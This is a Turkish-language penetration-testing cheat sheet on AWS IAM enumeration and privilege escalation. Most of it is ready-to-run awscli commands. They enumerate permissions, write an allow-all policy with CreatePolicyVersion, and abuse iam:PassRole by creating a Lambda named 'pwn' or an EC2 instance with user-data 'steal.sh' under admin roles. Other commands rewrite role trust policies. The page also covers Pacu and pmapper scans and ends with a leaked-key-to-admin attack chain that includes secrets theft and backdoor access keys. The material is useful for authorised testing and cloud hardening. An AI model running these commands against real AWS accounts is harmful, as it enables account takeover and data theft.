AWS — IAM Enumeration & Privilege Escalation
AWS privesc
AWS privesc
AWS’de yetkilendirme IAM policy’lerle yapılır. Bir kimliğin sahip olduğu tehlikeli bir izin, çoğu zaman hesabın tamamının ele geçirilmesine giden bir zincirin ilk halkasıdır. Rhino Security Labs kataloğu ~20+ bilinen IAM privesc yöntemi listeler; pratikte en sık görülenler CreatePolicyVersion, Attach*Policy, PassRole + compute ve gevşek AssumeRole trust’larıdır.
Ön koşullar
Section titled “Ön koşullar”- Geçerli Access Key ID + Secret (+ opsiyonel Session Token)- veya SSO / assume-role sonrası geçici kimlik- awscli yapılandırılmış; mümkünse ayrı profilexport AWS_ACCESS_KEY_ID=AKIA...export AWS_SECRET_ACCESS_KEY=...export AWS_SESSION_TOKEN=... # geçici kimlikte zorunluexport AWS_DEFAULT_REGION=eu-west-1aws sts get-caller-identityKim olduğunu ve neyi görebildiğini tespit et
Section titled “Kim olduğunu ve neyi görebildiğini tespit et”aws sts get-caller-identity # Account / Arn / UserIdaws iam get-user --user-name "$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)"aws iam list-attached-user-policies --user-name Xaws iam list-user-policies --user-name X # inlineaws iam list-groups-for-user --user-name Xaws iam get-account-authorization-details # tüm IAM (yetki varsa)aws iam list-attached-role-policies --role-name Raws iam get-role --role-name R # trust policy dahilenumerate-iam --access-key "$AWS_ACCESS_KEY_ID" --secret-key "$AWS_SECRET_ACCESS_KEY"enumerate-iam hangi API çağrılarının başarılı olduğunu ölçer; policy okuyamasan bile etkili izinlerini keşfedersin.
Klasik privesc yolları
Section titled “Klasik privesc yolları”iam:CreatePolicyVersion → mevcut politikaya admin izni ekle (--set-as-default)iam:SetDefaultPolicyVersion → eski/zararlı versiyonu default yapiam:AttachUserPolicy → kendine AdministratorAccess ekleiam:AttachGroupPolicy / AttachRolePolicyiam:PutUserPolicy → inline admin policy yaziam:PutGroupPolicy / PutRolePolicyiam:CreateAccessKey → başka user'a anahtar üretiam:CreateLoginProfile / UpdateLoginProfile → konsol parolasıiam:PassRole + ec2:RunInstances → admin rolüyle EC2, metadata'dan tokeniam:PassRole + lambda:CreateFunction + InvokeFunctioniam:PassRole + glue / sagemaker / cloudformation / ecs / codebuildsts:AssumeRole (gevşek trust) → daha yetkili role geçiam:UpdateAssumeRolePolicy → rolün trust'ını kendine açiam:AddUserToGroup → admin grubuna kendini ekleec2:ModifyInstanceAttribute → user-data ile komut enjekte etiam:PassRole + autoscaling / beanstalkCreatePolicyVersion örneği
Section titled “CreatePolicyVersion örneği”cat > admin.json <<'EOF'{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}EOFaws iam create-policy-version \ --policy-arn arn:aws:iam::ACCOUNT:policy/WeakPolicy \ --policy-document file://admin.json --set-as-defaultPassRole + Lambda zinciri
Section titled “PassRole + Lambda zinciri”aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument, `lambda`)].Arn'aws lambda create-function --function-name pwn \ --runtime python3.12 --role arn:aws:iam::ACCOUNT:role/AdminRole \ --handler lambda_function.lambda_handler --zip-file fileb://pwn.zipaws lambda invoke --function-name pwn out.jsonPassRole + EC2
Section titled “PassRole + EC2”aws ec2 run-instances --image-id ami-... --instance-type t3.micro \ --iam-instance-profile Name=AdminInstanceProfile \ --user-data file://steal.shAssumeRole / trust suistimali
Section titled “AssumeRole / trust suistimali”aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/Target \ --role-session-name pentestaws iam update-assume-role-policy --role-name Target \ --policy-document file://trust-me.json # UpdateAssumeRolePolicy varsaKomut üreteci
Section titled “Komut üreteci”AWS · whoami
embedded toolaws sts get-caller-identity --profile defaultAWS · whoami
Section titled “AWS · whoami”Metodoloji
Section titled “Metodoloji”-
İzin haritası çıkar — enumerate-iam ile hangi çağrıların başarılı olduğunu ölç; yetki varsa tüm authorization details’i çek. ScoutSuite / Prowler ile yanlış yapılandırma envanteri al.
-
Zincir bul — Pacu ’nun iam__privesc_scan modülü veya pmapper grafiği ile privesc yollarını otomatik keşfet. “Who can escalate to admin?” sorusunu sor.
-
PassRole’ü değerlendir — iam:PassRole + bir compute servisi (EC2/Lambda/ Glue/CloudFormation/CodeBuild/ECS) varsa admin role ile kod çalıştır. iam:PassRole resource koşulu * ise özellikle tehlikeli.
-
Uygula ve doğrula — yeni yetkiyi al, sts get-caller-identity ve tekrar enum ile teyit et; sonra Secrets/S3/SSM’e geç.
pacu> set_keys> run iam__enum_permissions> run iam__privesc_scanpmapper graph createpmapper query "who can do iam:* with *"pmapper argquery --action 's3:GetObject' --resource '*'pmapper query "preset privesc"Çok hesaplı / Organizations notları
Section titled “Çok hesaplı / Organizations notları”aws organizations list-accounts # yetki varsaaws sts assume-role --role-arn arn:aws:iam::OTHER:role/OrganizationAccountAccessRole \ --role-session-name crossCross-account AssumeRole + gevşek ExternalId veya ExternalId yokluğu sık görülen lateral vektördür.
Saldırı zinciri örneği
Section titled “Saldırı zinciri örneği”Sızmış AKIA key → enumerate-iam (PassRole + lambda:*) → CreateFunction with AdminRole → Invoke → admin temporary keys → secretsmanager + s3 sync + create access key on admin user